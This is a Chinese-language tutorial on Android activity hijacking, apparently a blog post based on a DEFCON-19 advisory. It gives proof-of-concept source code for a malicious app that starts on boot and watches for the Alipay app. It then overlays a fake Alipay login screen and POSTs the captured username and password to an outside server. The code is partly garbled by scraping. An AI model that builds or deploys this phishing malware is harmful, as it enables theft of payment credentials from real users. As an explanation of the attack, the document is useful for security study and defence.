一、activity劫持简介
DEFCON-19上公布的,原文见
https://www.trustwave.com/spiderlabs/advisories/TWSL2011-008.txt
android运行时,会在很多activity中进行切换,它自身维护着一个activity的历史栈,用于在用户点击back时,恢复前一个activity,栈顶指向当前显示的activity。
原文如下:
http://developer.android.com/guide/topics/fundamentals/tasks-and-back-stack.html
在我们使用intent开启activity时,intent有一个选项FLAG_ACTIVITY_NEW_TASK,可以使得这个activity位于栈顶
http://developer.android.com/reference/android/content/Intent.html#FLAG_ACTIVITY_NEW_TASK
如果我们注册一个receiver,响应android.intent.action.BOOT_COMPLETED,使得开启启动一个service;这个service,会启动一个计时器,不停枚举当前进程中是否有预设的进程启动,如果发现有预设进程,则使用FLAG_ACTIVITY_NEW_TASK启动自己的钓鱼界面,截获正常应用的登录凭证。
二、实例
androidmanifest.xml
123456789101112131415161718192021222324252627282930313233 | <? xml
= "1.0"
= "utf-8" ?> < manifest
= "http://schemas.android.com/apk/res/android" package = "com.xiaod.Hijack" android:versionCode = "1" android:versionName = "1.0" > < uses-sdk
= "3"
< uses-permission
= "android.permission.RECEIVE_BOOT_COMPLETED" ></ uses-permission > < uses-permission
= "android.permission.INTERNET"
< application
= "@drawable/icon"
= "@string/app_name"
= ".HijackApplication" > < activity
= ".HijackActivity" android:label = "@string/app_name" > < intent-filter > < action
= "android.intent.action.MAIN"
< category
= "android.intent.category.LAUNCHER"
</ intent-filter > </ activity > < activity
= ".AlipayLogin"
= "true"
= "adjustResize" /> < service
= ".HijackService"
= "Hijack Service" > < intent-filter > < action
= "com.xiaod.Hijack.service.Hijack"
</ intent-filter > </ service > < receiver android:name = ".HijackReceiver" android:enabled = "true" android:exported = "true" android:label = "Hijack Receiver" > < intent-filter > < action
= "android.intent.action.BOOT_COMPLETED"
</ intent-filter > </ receiver > </ application > </ manifest > |
HijackReceiver.java 用于开机启动HijackService
1234567891011121314151617 | package import
import
import
import public HijackReceiver extends @Override public onReceive(Context context, Intent intent) { if
"android.intent.action.BOOT_COMPLETED" )) { Intent serviceIntent = new
class ); context.startService(serviceIntent); } } } |
HijackService.java用于判断正常应用是否启动,如果启动则开启劫持activity
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566 | package import
import
import
import import
import
import
import
import
import
import public HijackService extends
Timer mTimer = new
//新建一个定时任务 TimerTask mTimerTask = new
@Override public run() { // TODO Auto-generated method stub //获取当前运行的进程列表 ActivityManager activityManager = (ActivityManager) getSystemService( Context.ACTIVITY_SERVICE ); List<RunningAppProcessInfo> appProcesses = activityManager.getRunningAppProcesses(); //枚举进程 for (RunningAppProcessInfo appProcess : appProcesses) { //如果APP在前台 if
//APP是否在需要劫持的列表中 if
if (((HijackApplication)getApplication()).getHasHijackStart() == false ) { Intent dialogIntent = new
//设置启动的activity位于栈顶 dialogIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); getApplication().startActivity(dialogIntent); ((HijackApplication)getApplication()).setHasHijackStart( true ); } } } } Log.e( "HijackService_TimerTask" , "here" ); } }; HashMap<String,Class<?>> mVictims = new
long
1000 ; long
1000 ; @Override public onStart(Intent intent, int //设置需要劫持的应用 mVictims.put( "com.eg.android.AlipayGphone" , AlipayLogin. class ); //开启计时任务 mTimer.scheduleAtFixedRate(mTimerTask, delay, period); } @Override public
// TODO Auto-generated method stub return
; } } |
AlipayLogin.java 是伪造的界面,用于获取用户凭证并发送到指定地址,并返回正常应用
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283 | package import
import import
import
import
import
import
import
import import
import
import
import
import
import
import public AlipayLogin extends
private
private
private
private
@Override public onCreate(Bundle savedInstanceState) { super .onCreate(savedInstanceState); requestWindowFeature(Window.FEATURE_NO_TITLE); setContentView(R.layout.alipay_login); mBtnLogin = (Button) findViewById(R.id.btn_login); mBtnReg = (Button) findViewById(R.id.btn_reg); mEdtUser = (EditText) findViewById(R.id.et_user); mEdtPwd = (EditText) findViewById(R.id.et_pwd); mBtnLogin.setOnClickListener( new @Override public onClick(View v) { // TODO Auto-generated method stub sendInfo(mEdtUser.getText().toString(), mEdtPwd.getText().toString()); moveTaskToBack( true ); } }); mBtnReg.setOnClickListener( new @Override public onClick(View v) { // TODO Auto-generated method stub sendInfo(mEdtUser.getText().toString(), mEdtPwd.getText().toString()); moveTaskToBack( true ); } }); } public onBackPressed() { moveTaskToBack( true ); } private sendInfo(String user, String pwd) { HttpPost request = new
"http://www.sectop.com/Hijack.php" ); List<NameValuePair> params = new
params.add( new
"user" , user)); params.add( new
"pwd" , pwd)); try
request.setEntity( new
HttpResponse response = new
if (response.getStatusLine().getStatusCode() == 200 ) { return
; } else
return
; } } catch
} return
; } } |
演示效果如下:
启动正常应用
这时恶意的后台service启动了伪造的activity
恶意activity记录下凭证,并跳回到正常应用
在远端服务器已经记录下了用户凭证